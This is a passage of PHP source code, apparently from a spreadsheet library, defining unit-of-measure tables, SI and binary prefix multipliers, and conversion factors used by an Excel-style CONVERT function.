CATEGORY_INFORMATION = 'Information'; public const CATEGORY_SPEED = 'Speed'; /** * Details of the Units of measure that can be used in CONVERTUOM(). * * @var array<string, array{Group: string, UnitName: string, AllowPrefix: bool}> */ private static array $conversionUnits = [ // Weight and Mass 'g' => ['Group' => self::CATEGORY_WEIGHT_AND_MASS, 'UnitName' => 'Gram', 'AllowPrefix' => true], 'sg' => ['Group' => self::CATEGORY_WEIGHT_AND_MASS, 'UnitName' => 'Slug', 'AllowPrefix' => false], 'lbm' => ['Group' => self::CATEGORY_WEIGHT_AND_MASS, 'UnitName' => 'Pound mass (avoirdupois)', 'AllowPrefix' => false], 'u' => ['Group' => self::CATEGORY_WEIGHT_AND_MASS, 'UnitName' => 'U (atomic mass unit)', 'AllowPrefix' => true], 'ozm' => ['Group' => self::CATEGORY_WEIGHT_AND_MASS, 'UnitName' => 'Ounce mass (avoirdupois)', 'AllowPrefix' => false], 'grain' => ['Group' => self::CATEGORY_WEIGHT_AND_MASS, 'UnitName' => 'Grain', 'AllowPrefix' => false], 'cwt' => ['Group' => self::CATEGORY_WEIGHT_AND_MASS, 'UnitName' => 'U.S. (short) hundredweight', 'AllowPrefix' => false], 'shweight' => ['Group' => self::CATEGORY_WEIGHT_AND_MASS, 'UnitName' => 'U.S. (short) hundredweight', 'AllowPrefix' => false], 'uk_cwt' => ['Group' => self::CATEGORY_WEIGHT_AND_MASS, 'UnitName' => 'Imperial hundredweight', 'AllowPrefix' => false], 'lcwt' => ['Group' => self::CATEGORY_WEIGHT_AND_MASS, 'UnitName' => 'Imperial hundredweight', 'AllowPrefix' => false], 'hweight' => ['Group' => self::CATEGORY_WEIGHT_AND_MASS, 'UnitName' => 'Imperial hundredweight', 'AllowPrefix' => false], 'stone' => ['Group' => self::CATEGORY_WEIGHT_AND_MASS, 'UnitName' => 'Stone', 'AllowPrefix' => false], 'ton' => ['Group' => self::CATEGORY_WEIGHT_AND_MASS, 'UnitName' => 'Ton', 'AllowPrefix' => false], 'uk_ton' => ['Group' => self::CATEGORY_WEIGHT_AND_MASS, 'UnitName' => 'Imperial ton', 'AllowPrefix' => false], 'LTON' => ['Group' => self::CATEGORY_WEIGHT_AND_MASS, 'UnitName' => 'Imperial ton', 'AllowPrefix' => false], 'brton' => ['Group' => self::CATEGORY_WEIGHT_AND_MASS, 'UnitName' => 'Imperial ton', 'AllowPrefix' => false], // Distance 'm' => ['Group' => self::CATEGORY_DISTANCE, 'UnitName' => 'Meter', 'AllowPrefix' => true], 'mi' => ['Group' => self::CATEGORY_DISTANCE, 'UnitName' => 'Statute mile', 'AllowPrefix' => false], 'Nmi' => ['Group' => self::CATEGORY_DISTANCE, 'UnitName' => 'Nautical mile', 'AllowPrefix' => false], 'in' => ['Group' => self::CATEGORY_DISTANCE, 'UnitName' => 'Inch', 'AllowPrefix' => false], 'ft' => ['Group' => self::CATEGORY_DISTANCE, 'UnitName' => 'Foot', 'AllowPrefix' => false], 'yd' => ['Group' => self::CATEGORY_DISTANCE, 'UnitName' => 'Yard', 'AllowPrefix' => false], 'ang' => ['Group' => self::CATEGORY_DISTANCE, 'UnitName' => 'Angstrom', 'AllowPrefix' => true], 'ell' => ['Group' => self::CATEGORY_DISTANCE, 'UnitName' => 'Ell', 'AllowPrefix' => false], 'ly' => ['Group' => self::CATEGORY_DISTANCE, 'UnitName' => 'Light Year', 'AllowPrefix' => false], 'parsec' => ['Group' => self::CATEGORY_DISTANCE, 'UnitName' => 'Parsec', 'AllowPrefix' => false], 'pc' => ['Group' => self::CATEGORY_DISTANCE, 'UnitName' => 'Parsec', 'AllowPrefix' => false], 'Pica' => ['Group' => self::CATEGORY_DISTANCE, 'UnitName' => 'Pica (1/72 in)', 'AllowPrefix' => false], 'Picapt' => ['Group' => self::CATEGORY_DISTANCE, 'UnitName' => 'Pica (1/72 in)', 'AllowPrefix' => false], 'pica' => ['Group' => self::CATEGORY_DISTANCE, 'UnitName' => 'Pica (1/6 in)', 'AllowPrefix' => false], 'survey_mi' => ['Group' => self::CATEGORY_DISTANCE, 'UnitName' => 'U.S survey mile (statute mile)', 'AllowPrefix' => false], // Time 'yr' => ['Group' => self::CATEGORY_TIME, 'UnitName' => 'Year', 'AllowPrefix' => false], 'day' => ['Group' => self::CATEGORY_TIME, 'UnitName' => 'Day', 'AllowPrefix' => false], 'd' => ['Group' => self::CATEGORY_TIME, 'UnitName' => 'Day', 'AllowPrefix' => false], 'hr' => ['Group' => self::CATEGORY_TIME, 'UnitName' => 'Hour', 'AllowPrefix' => false], 'mn' => ['Group' => self::CATEGORY_TIME, 'UnitName' => 'Minute', 'AllowPrefix' => false], 'min' => ['Group' => self::CATEGORY_TIME, 'UnitName' => 'Minute', 'AllowPrefix' => false], 'sec' => ['Group' => self::CATEGORY_TIME, 'UnitName' => 'Second', 'AllowPrefix' => true], 's' => ['Group' => self::CATEGORY_TIME, 'UnitName' => 'Second', 'AllowPrefix' => true], // Pressure 'Pa' => ['Group' => self::CATEGORY_PRESSURE, 'UnitName' => 'Pascal', 'AllowPrefix' => true], 'p' => ['Group' => self::CATEGORY_PRESSURE, 'UnitName' => 'Pascal', 'AllowPrefix' => true], 'atm' => ['Group' => self::CATEGORY_PRESSURE, 'UnitName' => 'Atmosphere', 'AllowPrefix' => true], 'at' => ['Group' => self::CATEGORY_PRESSURE, 'UnitName' => 'Atmosphere', 'AllowPrefix' => true], 'mmHg' => ['Group' => self::CATEGORY_PRESSURE, 'UnitName' => 'mm of Mercury', 'AllowPrefix' => true], 'psi' => ['Group' => self::CATEGORY_PRESSURE, 'UnitName' => 'PSI', 'AllowPrefix' => true], 'Torr' => ['Group' => self::CATEGORY_PRESSURE, 'UnitName' => 'Torr', 'AllowPrefix' => true], // Force 'N' => ['Group' => self::CATEGORY_FORCE, 'UnitName' => 'Newton', 'AllowPrefix' => true], 'dyn' => ['Group' => self::CATEGORY_FORCE, 'UnitName' => 'Dyne', 'AllowPrefix' => true], 'dy' => ['Group' => self::CATEGORY_FORCE, 'UnitName' => 'Dyne', 'AllowPrefix' => true], 'lbf' => ['Group' => self::CATEGORY_FORCE, 'UnitName' => 'Pound force', 'AllowPrefix' => false], 'pond' => ['Group' => self::CATEGORY_FORCE, 'UnitName' => 'Pond', 'AllowPrefix' => true], // Energy 'J' => ['Group' => self::CATEGORY_ENERGY, 'UnitName' => 'Joule', 'AllowPrefix' => true], 'e' => ['Group' => self::CATEGORY_ENERGY, 'UnitName' => 'Erg', 'AllowPrefix' => true], 'c' => ['Group' => self::CATEGORY_ENERGY, 'UnitName' => 'Thermodynamic calorie', 'AllowPrefix' => true], 'cal' => ['Group' => self::CATEGORY_ENERGY, 'UnitName' => 'IT calorie', 'AllowPrefix' => true], 'eV' => ['Group' => self::CATEGORY_ENERGY, 'UnitName' => 'Electron volt', 'AllowPrefix' => true], 'ev' => ['Group' => self::CATEGORY_ENERGY, 'UnitName' => 'Electron volt', 'AllowPrefix' => true], 'HPh' => ['Group' => self::CATEGORY_ENERGY, 'UnitName' => 'Horsepower-hour', 'AllowPrefix' => false], 'hh' => ['Group' => self::CATEGORY_ENERGY, 'UnitName' => 'Horsepower-hour', 'AllowPrefix' => false], 'Wh' => ['Group' => self::CATEGORY_ENERGY, 'UnitName' => 'Watt-hour', 'AllowPrefix' => true], 'wh' => ['Group' => self::CATEGORY_ENERGY, 'UnitName' => 'Watt-hour', 'AllowPrefix' => true], 'flb' => ['Group' => self::CATEGORY_ENERGY, 'UnitName' => 'Foot-pound', 'AllowPrefix' => false], 'BTU' => ['Group' => self::CATEGORY_ENERGY, 'UnitName' => 'BTU', 'AllowPrefix' => false], 'btu' => ['Group' => self::CATEGORY_ENERGY, 'UnitName' => 'BTU', 'AllowPrefix' => false], // Power 'HP' => ['Group' => self::CATEGORY_POWER, 'UnitName' => 'Horsepower', 'AllowPrefix' => false], 'h' => ['Group' => self::CATEGORY_POWER, 'UnitName' => 'Horsepower', 'AllowPrefix' => false], 'W' => ['Group' => self::CATEGORY_POWER, 'UnitName' => 'Watt', 'AllowPrefix' => true], 'w' => ['Group' => self::CATEGORY_POWER, 'UnitName' => 'Watt', 'AllowPrefix' => true], 'PS' => ['Group' => self::CATEGORY_POWER, 'UnitName' => 'Pferdestärke', 'AllowPrefix' => false], // Magnetism 'T' => ['Group' => self::CATEGORY_MAGNETISM, 'UnitName' => 'Tesla', 'AllowPrefix' => true], 'ga' => ['Group' => self::CATEGORY_MAGNETISM, 'UnitName' => 'Gauss', 'AllowPrefix' => true], // Temperature 'C' => ['Group' => self::CATEGORY_TEMPERATURE, 'UnitName' => 'Degrees Celsius', 'AllowPrefix' => false], 'cel' => ['Group' => self::CATEGORY_TEMPERATURE, 'UnitName' => 'Degrees Celsius', 'AllowPrefix' => false], 'F' => ['Group' => self::CATEGORY_TEMPERATURE, 'UnitName' => 'Degrees Fahrenheit', 'AllowPrefix' => false], 'fah' => ['Group' => self::CATEGORY_TEMPERATURE, 'UnitName' => 'Degrees Fahrenheit', 'AllowPrefix' => false], 'K' => ['Group' => self::CATEGORY_TEMPERATURE, 'UnitName' => 'Kelvin', 'AllowPrefix' => false], 'kel' => ['Group' => self::CATEGORY_TEMPERATURE, 'UnitName' => 'Kelvin', 'AllowPrefix' => false], 'Rank' => ['Group' => self::CATEGORY_TEMPERATURE, 'UnitName' => 'Degrees Rankine', 'AllowPrefix' => false], 'Reau' => ['Group' => self::CATEGORY_TEMPERATURE, 'UnitName' => 'Degrees Réaumur', 'AllowPrefix' => false], // Volume 'l' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Litre', 'AllowPrefix' => true], 'L' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Litre', 'AllowPrefix' => true], 'lt' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Litre', 'AllowPrefix' => true], 'tsp' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Teaspoon', 'AllowPrefix' => false], 'tspm' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Modern Teaspoon', 'AllowPrefix' => false], 'tbs' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Tablespoon', 'AllowPrefix' => false], 'oz' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Fluid Ounce', 'AllowPrefix' => false], 'cup' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Cup', 'AllowPrefix' => false], 'pt' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'U.S. Pint', 'AllowPrefix' => false], 'us_pt' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'U.S. Pint', 'AllowPrefix' => false], 'uk_pt' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'U.K. Pint', 'AllowPrefix' => false], 'qt' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Quart', 'AllowPrefix' => false], 'uk_qt' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Imperial Quart (UK)', 'AllowPrefix' => false], 'gal' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Gallon', 'AllowPrefix' => false], 'uk_gal' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Imperial Gallon (UK)', 'AllowPrefix' => false], 'ang3' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Cubic Angstrom', 'AllowPrefix' => true], 'ang^3' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Cubic Angstrom', 'AllowPrefix' => true], 'barrel' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'US Oil Barrel', 'AllowPrefix' => false], 'bushel' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'US Bushel', 'AllowPrefix' => false], 'in3' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Cubic Inch', 'AllowPrefix' => false], 'in^3' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Cubic Inch', 'AllowPrefix' => false], 'ft3' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Cubic Foot', 'AllowPrefix' => false], 'ft^3' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Cubic Foot', 'AllowPrefix' => false], 'ly3' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Cubic Light Year', 'AllowPrefix' => false], 'ly^3' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Cubic Light Year', 'AllowPrefix' => false], 'm3' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Cubic Meter', 'AllowPrefix' => true], 'm^3' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Cubic Meter', 'AllowPrefix' => true], 'mi3' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Cubic Mile', 'AllowPrefix' => false], 'mi^3' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Cubic Mile', 'AllowPrefix' => false], 'yd3' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Cubic Yard', 'AllowPrefix' => false], 'yd^3' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Cubic Yard', 'AllowPrefix' => false], 'Nmi3' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Cubic Nautical Mile', 'AllowPrefix' => false], 'Nmi^3' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Cubic Nautical Mile', 'AllowPrefix' => false], 'Pica3' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Cubic Pica', 'AllowPrefix' => false], 'Pica^3' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Cubic Pica', 'AllowPrefix' => false], 'Picapt3' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Cubic Pica', 'AllowPrefix' => false], 'Picapt^3' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Cubic Pica', 'AllowPrefix' => false], 'GRT' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Gross Registered Ton', 'AllowPrefix' => false], 'regton' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Gross Registered Ton', 'AllowPrefix' => false], 'MTON' => ['Group' => self::CATEGORY_VOLUME, 'UnitName' => 'Measurement Ton (Freight Ton)', 'AllowPrefix' => false], // Area 'ha' => ['Group' => self::CATEGORY_AREA, 'UnitName' => 'Hectare', 'AllowPrefix' => true], 'uk_acre' => ['Group' => self::CATEGORY_AREA, 'UnitName' => 'International Acre', 'AllowPrefix' => false], 'us_acre' => ['Group' => self::CATEGORY_AREA, 'UnitName' => 'US Survey/Statute Acre', 'AllowPrefix' => false], 'ang2' => ['Group' => self::CATEGORY_AREA, 'UnitName' => 'Square Angstrom', 'AllowPrefix' => true], 'ang^2' => ['Group' => self::CATEGORY_AREA, 'UnitName' => 'Square Angstrom', 'AllowPrefix' => true], 'ar' => ['Group' => self::CATEGORY_AREA, 'UnitName' => 'Are', 'AllowPrefix' => true], 'ft2' => ['Group' => self::CATEGORY_AREA, 'UnitName' => 'Square Feet', 'AllowPrefix' => false], 'ft^2' => ['Group' => self::CATEGORY_AREA, 'UnitName' => 'Square Feet', 'AllowPrefix' => false], 'in2' => ['Group' => self::CATEGORY_AREA, 'UnitName' => 'Square Inches', 'AllowPrefix' => false], 'in^2' => ['Group' => self::CATEGORY_AREA, 'UnitName' => 'Square Inches', 'AllowPrefix' => false], 'ly2' => ['Group' => self::CATEGORY_AREA, 'UnitName' => 'Square Light Years', 'AllowPrefix' => false], 'ly^2' => ['Group' => self::CATEGORY_AREA, 'UnitName' => 'Square Light Years', 'AllowPrefix' => false], 'm2' => ['Group' => self::CATEGORY_AREA, 'UnitName' => 'Square Meters', 'AllowPrefix' => true], 'm^2' => ['Group' => self::CATEGORY_AREA, 'UnitName' => 'Square Meters', 'AllowPrefix' => true], 'Morgen' => ['Group' => self::CATEGORY_AREA, 'UnitName' => 'Morgen', 'AllowPrefix' => false], 'mi2' => ['Group' => self::CATEGORY_AREA, 'UnitName' => 'Square Miles', 'AllowPrefix' => false], 'mi^2' => ['Group' => self::CATEGORY_AREA, 'UnitName' => 'Square Miles', 'AllowPrefix' => false], 'Nmi2' => ['Group' => self::CATEGORY_AREA, 'UnitName' => 'Square Nautical Miles', 'AllowPrefix' => false], 'Nmi^2' => ['Group' => self::CATEGORY_AREA, 'UnitName' => 'Square Nautical Miles', 'AllowPrefix' => false], 'Pica2' => ['Group' => self::CATEGORY_AREA, 'UnitName' => 'Square Pica', 'AllowPrefix' => false], 'Pica^2' => ['Group' => self::CATEGORY_AREA, 'UnitName' => 'Square Pica', 'AllowPrefix' => false], 'Picapt2' => ['Group' => self::CATEGORY_AREA, 'UnitName' => 'Square Pica', 'AllowPrefix' => false], 'Picapt^2' => ['Group' => self::CATEGORY_AREA, 'UnitName' => 'Square Pica', 'AllowPrefix' => false], 'yd2' => ['Group' => self::CATEGORY_AREA, 'UnitName' => 'Square Yards', 'AllowPrefix' => false], 'yd^2' => ['Group' => self::CATEGORY_AREA, 'UnitName' => 'Square Yards', 'AllowPrefix' => false], // Information 'byte' => ['Group' => self::CATEGORY_INFORMATION, 'UnitName' => 'Byte', 'AllowPrefix' => true], 'bit' => ['Group' => self::CATEGORY_INFORMATION, 'UnitName' => 'Bit', 'AllowPrefix' => true], // Speed 'm/s' => ['Group' => self::CATEGORY_SPEED, 'UnitName' => 'Meters per second', 'AllowPrefix' => true], 'm/sec' => ['Group' => self::CATEGORY_SPEED, 'UnitName' => 'Meters per second', 'AllowPrefix' => true], 'm/h' => ['Group' => self::CATEGORY_SPEED, 'UnitName' => 'Meters per hour', 'AllowPrefix' => true], 'm/hr' => ['Group' => self::CATEGORY_SPEED, 'UnitName' => 'Meters per hour', 'AllowPrefix' => true], 'mph' => ['Group' => self::CATEGORY_SPEED, 'UnitName' => 'Miles per hour', 'AllowPrefix' => false], 'admkn' => ['Group' => self::CATEGORY_SPEED, 'UnitName' => 'Admiralty Knot', 'AllowPrefix' => false], 'kn' => ['Group' => self::CATEGORY_SPEED, 'UnitName' => 'Knot', 'AllowPrefix' => false], ]; /** * Details of the Multiplier prefixes that can be used with Units of Measure in CONVERTUOM(). * * @var array<string, array{multiplier: float, name: string}> */ private static array $conversionMultipliers = [ 'Y' => ['multiplier' => 1E24, 'name' => 'yotta'], 'Z' => ['multiplier' => 1E21, 'name' => 'zetta'], 'E' => ['multiplier' => 1E18, 'name' => 'exa'], 'P' => ['multiplier' => 1E15, 'name' => 'peta'], 'T' => ['multiplier' => 1E12, 'name' => 'tera'], 'G' => ['multiplier' => 1E9, 'name' => 'giga'], 'M' => ['multiplier' => 1E6, 'name' => 'mega'], 'k' => ['multiplier' => 1E3, 'name' => 'kilo'], 'h' => ['multiplier' => 1E2, 'name' => 'hecto'], 'e' => ['multiplier' => 1E1, 'name' => 'dekao'], 'da' => ['multiplier' => 1E1, 'name' => 'dekao'], 'd' => ['multiplier' => 1E-1, 'name' => 'deci'], 'c' => ['multiplier' => 1E-2, 'name' => 'centi'], 'm' => ['multiplier' => 1E-3, 'name' => 'milli'], 'u' => ['multiplier' => 1E-6, 'name' => 'micro'], 'n' => ['multiplier' => 1E-9, 'name' => 'nano'], 'p' => ['multiplier' => 1E-12, 'name' => 'pico'], 'f' => ['multiplier' => 1E-15, 'name' => 'femto'], 'a' => ['multiplier' => 1E-18, 'name' => 'atto'], 'z' => ['multiplier' => 1E-21, 'name' => 'zepto'], 'y' => ['multiplier' => 1E-24, 'name' => 'yocto'], ]; /** * Details of the Multiplier prefixes that can be used with Units of Measure in CONVERTUOM(). * ** @var array<string, array{multiplier: float|int, name: string}> */ private static array $binaryConversionMultipliers = [ 'Yi' => ['multiplier' => 2 ** 80, 'name' => 'yobi'], 'Zi' => ['multiplier' => 2 ** 70, 'name' => 'zebi'], 'Ei' => ['multiplier' => 2 ** 60, 'name' => 'exbi'], 'Pi' => ['multiplier' => 2 ** 50, 'name' => 'pebi'], 'Ti' => ['multiplier' => 2 ** 40, 'name' => 'tebi'], 'Gi' => ['multiplier' => 2 ** 30, 'name' => 'gibi'], 'Mi' => ['multiplier' => 2 ** 20, 'name' => 'mebi'], 'ki' => ['multiplier' => 2 ** 10, 'name' => 'kibi'], ]; /** * Details of the Units of measure conversion factors, organised by group. * * @var array<string, array<string, float>> */ private static array $unitConversions = [ // Conversion uses gram (g) as an intermediate unit self::CATEGORY_WEIGHT_AND_MASS => [ 'g' => 1.0, 'sg' => 6.85217658567918E-05, 'lbm' => 2.20462262184878E-03, 'u' => 6.02214179421676E+23, 'ozm' => 3.52739619495804E-02, 'grain' => 1.54323583529414E+01, 'cwt' => 2.20462262184878E-05, 'shweight' => 2.20462262184878E-05, 'uk_cwt' => 1.96841305522212E-05, 'lcwt' => 1.96841305522212E-05, 'hweight' => 1.96841305522212E-05, 'stone' => 1.57473044417770E-04, 'ton' => 1.10231131092439E-06, 'uk_ton' => 9.84206527611061E-07, 'LTON' => 9.84206527611061E-07, 'brton' => 9.84206527611061E-07, ], // Conversion uses meter (m) as an intermediate unit self::CATEGORY_DISTANCE => [ 'm' => 1.0, 'mi' => 6.21371192237334E-04, 'Nmi' => 5.39956803455724E-04, 'in' => 3.93700787401575E+01, 'ft' => 3.28083989501312E+00, 'yd' => 1.09361329833771E+00, 'ang' => 1.0E+10, 'ell' => 8.74890638670166E-01, 'ly' => 1.05700083402462E-16, 'parsec' => 3.24077928966473E-17, 'pc' => 3.24077928966473E-17, 'Pica' => 2.83464566929134E+03, 'Picapt' => 2.83464566929134E+03, 'pica' => 2.36220472440945E+02, 'survey_mi' => 6.21369949494950E-04, ], // Conversion uses second (s) as an intermediate unit self::CATEGORY_TIME => [ 'yr' => 3.16880878140289E-08, 'day' => 1.15740740740741E-05, 'd' => 1.15740740740741E-05, 'hr' => 2.77777777777778E-04, 'mn' => 1.66666666666667E-02, 'min' => 1.66666666666667E-02, 'sec' => 1.0, 's' => 1.0, ], // Conversion uses Pascal (Pa) as an intermediate unit self::CATEGORY_PRESSURE => [ 'Pa' => 1.0, 'p' => 1.0, 'atm' => 9.86923266716013E-06, 'at' => 9.86923266716013E-06, 'mmHg' => 7.50063755419211E-03, 'psi' => 1.45037737730209E-04, 'Torr' => 7.50061682704170E-03, ], // Conversion uses Newton (N) as an intermediate unit self::CATEGORY_FORCE => [ 'N' => 1.0, 'dyn' => 1.0E+5, 'dy' => 1.0E+5, 'lbf' => 2.24808923655339E-01, 'pond' => 1.01971621297793E+02, ], // Conversion uses Joule (J) as an intermediate unit self::CATEGORY_ENERGY => [ 'J' => 1.0, 'e' => 9.99999519343231E+06, 'c' => 2.39006249473467E-01, 'cal' => 2.38846190642017E-01, 'eV' => 6.24145700000000E+18, 'ev' => 6.24145700000000E+18, 'HPh' => 3.72506430801000E-07, 'hh' => 3.72506430801000E-07, 'Wh' => 2.77777916238711E-04, 'wh' => 2.77777916238711E-04, 'flb' => 2.37304222192651E+01, 'BTU' => 9.47815067349015E-04, 'btu' => 9.47815067349015E-04, ], // Conversion uses Horsepower (HP) as an intermediate unit self::CATEGORY_POWER => [ 'HP' => 1.0, 'h' => 1.0, 'W' => 7.45699871582270E+02, 'w' => 7.45699871582270E+02, 'PS' => 1.01386966542400E+00, ], // Conversion uses Tesla (T) as an intermediate unit self::CATEGORY_MAGNETISM => [ 'T' => 1.0, 'ga' => 10000.0, ], // Conversion uses litre (l) as an intermediate unit self::CATEGORY_VOLUME => [ 'l' => 1.0, 'L' => 1.0, 'lt' => 1.0, 'tsp' => 2.02884136211058E+02, 'tspm' => 2.0E+02, 'tbs' => 6.76280454036860E+01, 'oz' => 3.38140227018430E+01, 'cup' => 4.22675283773038E+00, 'pt' => 2.11337641886519E+00, 'us_pt' => 2.11337641886519E+00, 'uk_pt' => 1.75975398639270E+00, 'qt' => 1.05668820943259E+00, 'uk_qt' => 8.79876993196351E-01, 'gal' => 2.64172052358148E-01, 'uk_gal' => 2.19969248299088E-01, 'ang3' => 1.0E+27, 'ang^3' => 1.0E+27, 'barrel' => 6.28981077043211E-03, 'bushel' => 2.83775932584017E-02, 'in3' => 6.10237440947323E+01, 'in^3' => 6.10237440947323E+01, 'ft3' => 3.53146667214886E-02, 'ft^3' => 3.53146667214886E-02, 'ly3' => 1.18093498844171E-51, 'ly^3' => 1.18093498844171E-51, 'm3' => 1.0E-03, 'm^3' => 1.0E-03, 'mi3' => 2.39912758578928E-13, 'mi^3' => 2.39912758578928E-13, 'yd3' => 1.30795061931439E-03, 'yd^3' => 1.30795061931439E-03, 'Nmi3' => 1.57426214685811E-13, 'Nmi^3' => 1.57426214685811E-13, 'Pica3' => 2.27769904358706E+07, 'Pica^3' => 2.27769904358706E+07, 'Picapt3' => 2.27769904358706E+07, 'Picapt^3' => 2.27769904358706E+07, 'GRT' => 3.53146667214886E-04, 'regton' => 3.53146667214886E-04, 'MTON' => 8.82866668037215E-04, ], // Conversion uses hectare (ha) as an intermediate unit self::CATEGORY_AREA => [ 'ha' => 1.0, 'uk_acre' => 2.47105381467165E+00, 'us_acre' => 2.47104393046628E+00, 'ang2' => 1.0E+24, 'ang^2' => 1.0E+24, 'ar' => 1.0E+02, 'ft2' => 1.07639104167097E+05, 'ft^2' => 1.07639104167097E+05, 'in2' => 1.55000310000620E+07, 'in^2' => 1.55000310000620E+07, 'ly2' => 1.11725076312873E-28, 'ly^2' => 1.11725076312873E-28, 'm2' => 1.0E+04, 'm^2' => 1.0E+04, 'Morgen' => 4.0E+00, 'mi2' => 3.86102158542446E-03, 'mi^2' => 3.86102158542446E-03, 'Nmi2' => 2.91553349598123E-03, 'Nmi^2' => 2.91553349598123E-03, 'Pica2' => 8.03521607043214E+10, 'Pica^2' => 8.03521607043214E+10, 'Picapt2' => 8.03521607043214E+10, 'Picapt^2' => 8.03521607043214E+10, 'yd2' => 1.19599004630108E+04, 'yd^2' => 1.19599004630108E+04, ], // Conversion uses bit (bit) as an intermediate unit self::CATEGORY_INFORMATION => [ 'bit' => 1.0, 'byte' => 0.125, ], // Conversion uses Meters per Second (m/s) as an intermediate unit self::CATEGORY_SPEED => [ 'm/s' => 1.0, 'm/sec' => 1.0, 'm/h' => 3.60E+03, 'm/hr' => 3.60E+03, 'mph' => 2.23693629205440E+00, 'admkn' => 1.94260256941567E+00, 'kn' => 1.94384449244060E+00, ], ]; /** * getConversionGroups * Returns a list of the different conversion groups for UOM conversions. */ public static function getConversionCategories(): array { $conversionGroups = []; foreach (self::$conversionUnits as $conversionUnit) { $conversionGroups[] = $conversionUnit['Group']; } return array_merge(array_unique($conversionGroups)); } /** * getConversionGroupUnits * Returns an array of units of measure, for a specified conversion group, or for all groups. * * @param ?string $category The group whose units of measure you want to retrieve */ public static function getConversionCategoryUnits(?string $category = null): array { $conversionGroups = []; foreach (self::$conversionUnits as $conversionUnit => $conversionGroup) { if (($category === null) || ($conversionGroup['Group'] == $category)) { $conversionGroups[$conversionGroup['Group']][] = $conversionUnit; } } return $conversionGroups; } /** * getConversionGroupUnitDetails. * * @param ?string $category The group whose units of measure you want to retrieve */ public static function getConversionCategoryUnitDetails(?string $category = null): array { $conversionGroups = []; foreach (self::$conversionUnits as $conversionUnit => $conversionGroup) { if (($category === null) || ($conversionGroup['Group'] == $category)) { $conversionGroups[$conversionGroup['Group']][] = [ 'unit' => $conversionUnit, 'description' => $conversionGroup['UnitName'], ]; } } return $conversionGroups; } /** * getConversionMultipliers * Returns an array of the Multiplier prefixes that can be used with Units of Measure in CONVERTUOM(). * * @return mixed[] */ public static function getConversionMultipliers(): array { return self::$conversionMultipliers; } /** * getBinaryConversionMultipliers * Returns an array of the additional Multiplier prefixes that can be used with Information Units of Measure in CONVERTUOM(). * * @return mixed[] */ public static function getBinaryConversionMultipliers(): array { return self::$binaryConversionMultipliers; } /** * CONVERT. * * Converts a number from one measurement system to another. * For example, CONVERT can translate a table of distances in miles to a table of distances * in kilometers. * * Excel Function: * CONVERT(value,fromUOM,toUOM) * * @param array|float|int|string $value the value in fromUOM to convert * Or can be an array of values * @param array|string $fromUOM the units for value * Or can be an array of values * @param array|string $toUOM the units for the result * Or can be an array of values * * @return array|float|string Result, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function CONVERT($value, $fromUOM, $toUOM) { if (is_array($value) || is_array($fromUOM) || is_array($toUOM)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $fromUOM, $toUOM); } if (!is_numeric($value)) { return ExcelError::VALUE(); } try { [$fromUOM, $fromCategory, $fromMultiplier] = self::getUOMDetails($fromUOM); [$toUOM, $toCategory, $toMultiplier] = self::getUOMDetails($toUOM); } catch (Exception) { return ExcelError::NA(); } if ($fromCategory !== $toCategory) { return ExcelError::NA(); } // @var float $value $value *= $fromMultiplier; if (($fromUOM === $toUOM) && ($fromMultiplier === $toMultiplier)) { // We've already factored $fromMultiplier into the value, so we need // to reverse it again return $value / $fromMultiplier; } elseif ($fromUOM === $toUOM) { return $value / $toMultiplier; } elseif ($fromCategory === self::CATEGORY_TEMPERATURE) { return self::convertTemperature($fromUOM, $toUOM, $value); } $baseValue = $value * (1.0 / self::$unitConversions[$fromCategory][$fromUOM]); return ($baseValue * self::$unitConversions[$fromCategory][$toUOM]) / $toMultiplier; } private static function getUOMDetails(string $uom): array { if (isset(self::$conversionUnits[$uom])) { $unitCategory = self::$conversionUnits[$uom]['Group']; return [$uom, $unitCategory, 1.0]; } // Check 1-character standard metric multiplier prefixes $multiplierType = substr($uom, 0, 1); $uom = substr($uom, 1); if (isset(self::$conversionUnits[$uom], self::$conversionMultipliers[$multiplierType])) { if (self::$conversionUnits[$uom]['AllowPrefix'] === false) { throw new Exception('Prefix not allowed for UoM'); } $unitCategory = self::$conversionUnits[$uom]['Group']; return [$uom, $unitCategory, 